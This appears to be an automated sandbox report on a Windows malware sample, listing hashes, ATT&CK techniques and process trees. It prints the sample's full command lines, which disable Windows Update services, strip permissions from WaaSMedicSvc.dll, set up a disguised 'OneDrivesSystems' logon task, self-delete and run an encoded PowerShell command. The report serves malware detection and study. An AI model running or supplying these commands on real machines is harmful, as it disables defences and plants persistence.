5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07

General

Target

5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe
Size

2.2MB
MD5

d5dfb8447ced11274942ace31b4279d8
SHA1

5a1b36ef9db72321b3d075712a8888bd921a472c
SHA256

5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07
SHA512

92db93c843cbff0cc8d0ea4d5503be85c1a52986b5a89041680d8c287bbf06715c1019e0065b364f4fda1dcf94891366c7c74791f3269704b4100b21a0de9fde
SSDEEP

49152:NZMzod1k0XlJTfu7lCwMBLEUGu20S2hnnRYKiPCZYj8bkN2P:N2C1k+bMlCwWl2qhnnRYKECZYI44

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Drops file in Drivers directory 2 IoCs

Processes:

5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exeupdates.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	updates.exe

Executes dropped EXE 1 IoCs

Processes:

updates.exe

pid process

1124 updates.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

540 takeown.exe
1684 icacls.exe
1636 takeown.exe
1624 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

784 cmd.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2004 taskeng.exe
Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exetakeown.exeicacls.exetakeown.exe

pid process

1624 icacls.exe
540 takeown.exe
1684 icacls.exe
1636 takeown.exe

pid	process
1124	updates.exe

pid	process
540	takeown.exe
1684	icacls.exe
1636	takeown.exe
1624	icacls.exe

pid	process
784	cmd.exe

pid	process
2004	taskeng.exe

pid	process
1624	icacls.exe
540	takeown.exe
1684	icacls.exe
1636	takeown.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1176 sc.exe
988 sc.exe
1012 sc.exe
1984 sc.exe
1744 sc.exe
1648 sc.exe
972 sc.exe
1564 sc.exe
992 sc.exe
1644 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1980 schtasks.exe
1120 schtasks.exe

pid	process
1176	sc.exe
988	sc.exe
1012	sc.exe
1984	sc.exe
1744	sc.exe
1648	sc.exe
972	sc.exe
1564	sc.exe
992	sc.exe
1644	sc.exe

pid	process
1980	schtasks.exe
1120	schtasks.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
1668	reg.exe
1560	reg.exe
776	reg.exe
1892	reg.exe
1052	reg.exe
1348	reg.exe
832	reg.exe
1656	reg.exe
1724	reg.exe
1580	reg.exe
636	reg.exe
1244	reg.exe
764	reg.exe
1096	reg.exe
1000	reg.exe
968	reg.exe
1596	reg.exe
1720	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exepowershell.exe

pid process

856 powershell.exe
288 5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe
1416 powershell.exe

pid	process
856	powershell.exe
288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe
1416	powershell.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exe5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exeupdates.exe

description	pid	process
Token: SeDebugPrivilege	856	powershell.exe
Token: SeShutdownPrivilege	1872	powercfg.exe
Token: SeShutdownPrivilege	560	powercfg.exe
Token: SeShutdownPrivilege	1508	powercfg.exe
Token: SeShutdownPrivilege	2000	powercfg.exe
Token: SeTakeOwnershipPrivilege	540	takeown.exe
Token: SeDebugPrivilege	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeShutdownPrivilege	688	powercfg.exe
Token: SeShutdownPrivilege	856	powercfg.exe
Token: SeShutdownPrivilege	280	powercfg.exe
Token: SeShutdownPrivilege	1064	powercfg.exe
Token: SeTakeOwnershipPrivilege	1636	takeown.exe
Token: SeDebugPrivilege	1124	updates.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.execmd.execmd.execmd.exe

description	pid	process	target process
PID 288 wrote to memory of 856	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	powershell.exe
PID 288 wrote to memory of 856	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	powershell.exe
PID 288 wrote to memory of 856	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	powershell.exe
PID 288 wrote to memory of 828	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	cmd.exe
PID 288 wrote to memory of 828	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	cmd.exe
PID 288 wrote to memory of 828	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	cmd.exe
PID 288 wrote to memory of 696	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	cmd.exe
PID 288 wrote to memory of 696	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	cmd.exe
PID 288 wrote to memory of 696	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	cmd.exe
PID 696 wrote to memory of 1872	696	cmd.exe	powercfg.exe
PID 696 wrote to memory of 1872	696	cmd.exe	powercfg.exe
PID 696 wrote to memory of 1872	696	cmd.exe	powercfg.exe
PID 828 wrote to memory of 988	828	cmd.exe	sc.exe
PID 828 wrote to memory of 988	828	cmd.exe	sc.exe
PID 828 wrote to memory of 988	828	cmd.exe	sc.exe
PID 828 wrote to memory of 1012	828	cmd.exe	sc.exe
PID 828 wrote to memory of 1012	828	cmd.exe	sc.exe
PID 828 wrote to memory of 1012	828	cmd.exe	sc.exe
PID 828 wrote to memory of 1564	828	cmd.exe	sc.exe
PID 828 wrote to memory of 1564	828	cmd.exe	sc.exe
PID 828 wrote to memory of 1564	828	cmd.exe	sc.exe
PID 288 wrote to memory of 1276	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	cmd.exe
PID 288 wrote to memory of 1276	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	cmd.exe
PID 288 wrote to memory of 1276	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	cmd.exe
PID 828 wrote to memory of 992	828	cmd.exe	sc.exe
PID 828 wrote to memory of 992	828	cmd.exe	sc.exe
PID 828 wrote to memory of 992	828	cmd.exe	sc.exe
PID 828 wrote to memory of 1984	828	cmd.exe	sc.exe
PID 828 wrote to memory of 1984	828	cmd.exe	sc.exe
PID 828 wrote to memory of 1984	828	cmd.exe	sc.exe
PID 1276 wrote to memory of 1980	1276	cmd.exe	schtasks.exe
PID 1276 wrote to memory of 1980	1276	cmd.exe	schtasks.exe
PID 1276 wrote to memory of 1980	1276	cmd.exe	schtasks.exe
PID 828 wrote to memory of 1244	828	cmd.exe	reg.exe
PID 828 wrote to memory of 1244	828	cmd.exe	reg.exe
PID 828 wrote to memory of 1244	828	cmd.exe	reg.exe
PID 696 wrote to memory of 560	696	cmd.exe	powercfg.exe
PID 696 wrote to memory of 560	696	cmd.exe	powercfg.exe
PID 696 wrote to memory of 560	696	cmd.exe	powercfg.exe
PID 696 wrote to memory of 1508	696	cmd.exe	powercfg.exe
PID 696 wrote to memory of 1508	696	cmd.exe	powercfg.exe
PID 696 wrote to memory of 1508	696	cmd.exe	powercfg.exe
PID 696 wrote to memory of 2000	696	cmd.exe	powercfg.exe
PID 696 wrote to memory of 2000	696	cmd.exe	powercfg.exe
PID 696 wrote to memory of 2000	696	cmd.exe	powercfg.exe
PID 828 wrote to memory of 832	828	cmd.exe	reg.exe
PID 828 wrote to memory of 832	828	cmd.exe	reg.exe
PID 828 wrote to memory of 832	828	cmd.exe	reg.exe
PID 828 wrote to memory of 1656	828	cmd.exe	reg.exe
PID 828 wrote to memory of 1656	828	cmd.exe	reg.exe
PID 828 wrote to memory of 1656	828	cmd.exe	reg.exe
PID 828 wrote to memory of 968	828	cmd.exe	reg.exe
PID 828 wrote to memory of 968	828	cmd.exe	reg.exe
PID 828 wrote to memory of 968	828	cmd.exe	reg.exe
PID 828 wrote to memory of 764	828	cmd.exe	reg.exe
PID 828 wrote to memory of 764	828	cmd.exe	reg.exe
PID 828 wrote to memory of 764	828	cmd.exe	reg.exe
PID 828 wrote to memory of 540	828	cmd.exe	takeown.exe
PID 828 wrote to memory of 540	828	cmd.exe	takeown.exe
PID 828 wrote to memory of 540	828	cmd.exe	takeown.exe
PID 828 wrote to memory of 1684	828	cmd.exe	icacls.exe
PID 828 wrote to memory of 1684	828	cmd.exe	icacls.exe
PID 828 wrote to memory of 1684	828	cmd.exe	icacls.exe
PID 288 wrote to memory of 2044	288	5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe
"C:\Users\Admin\AppData\Local\Temp\5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAeAB0AHoAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBsAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHQAYwBuAGcAIwA+ACAAQAAoACAAPAAjAHIAagAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaABzAGoAIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzACkAIAA8ACMAagBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAbwB1ACMAPgA="
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:856

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:828

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:988

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1012

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1564

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:992

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1984

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:1244

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:832

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:1656

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:968

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:764

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:540

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1684

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1596

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1724

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1580

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1668

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:1100

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:1544

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:776

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:400

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:984

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:964

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:1564

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:696

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1872

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:560

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1508

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "OneDrivesSystems" /tr "\"C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe\""
2⤵
- Suspicious use of WriteProcessMemory
PID:1276

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "OneDrivesSystems" /tr "\"C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe\""
3⤵
- Creates scheduled task(s)
PID:1980

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "OneDrivesSystems"
2⤵
PID:2044

C:\Windows\system32\schtasks.exe
schtasks /run /tn "OneDrivesSystems"
3⤵
PID:572

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07.exe"
2⤵
- Deletes itself
PID:784

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:1644

C:\Windows\system32\taskeng.exe
taskeng.exe {A6C67369-ED74-42C7-B34A-08E9C216F1E6} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
PID:2004

C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe
C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe
2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAeAB0AHoAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBsAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHQAYwBuAGcAIwA+ACAAQAAoACAAPAAjAHIAagAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaABzAGoAIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzACkAIAA8ACMAagBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAbwB1ACMAPgA="
3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1416

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:1332

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:1744

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:1648

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:972

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:1176

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:1644

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:1892

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:1052

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies registry key
PID:1720

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:1096

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:1560

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1636

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1624

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1000

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1348

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:636

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:776

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:988

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:1772

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:1080

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:1008

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1520

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:800

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:584

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
PID:304

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:688

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:856

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:280

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1064

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "OneDrivesSystems" /tr "\"C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe\""
3⤵
PID:1336

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "OneDrivesSystems" /tr "\"C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe\""
4⤵
- Creates scheduled task(s)
PID:1120

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "stopjduuhfz"
3⤵
PID:1372

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe
Filesize
2.2MB

MD5
d5dfb8447ced11274942ace31b4279d8

SHA1
5a1b36ef9db72321b3d075712a8888bd921a472c

SHA256
5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07

SHA512
92db93c843cbff0cc8d0ea4d5503be85c1a52986b5a89041680d8c287bbf06715c1019e0065b364f4fda1dcf94891366c7c74791f3269704b4100b21a0de9fde

Download Submit
C:\Users\Admin\AppData\Local\Temp\onedrives\updates.exe
Filesize
2.2MB

MD5
d5dfb8447ced11274942ace31b4279d8

SHA1
5a1b36ef9db72321b3d075712a8888bd921a472c

SHA256
5ad0140b342166a7094794f878bd271cb48567149b91119c0bc2ebabb6399f07

SHA512
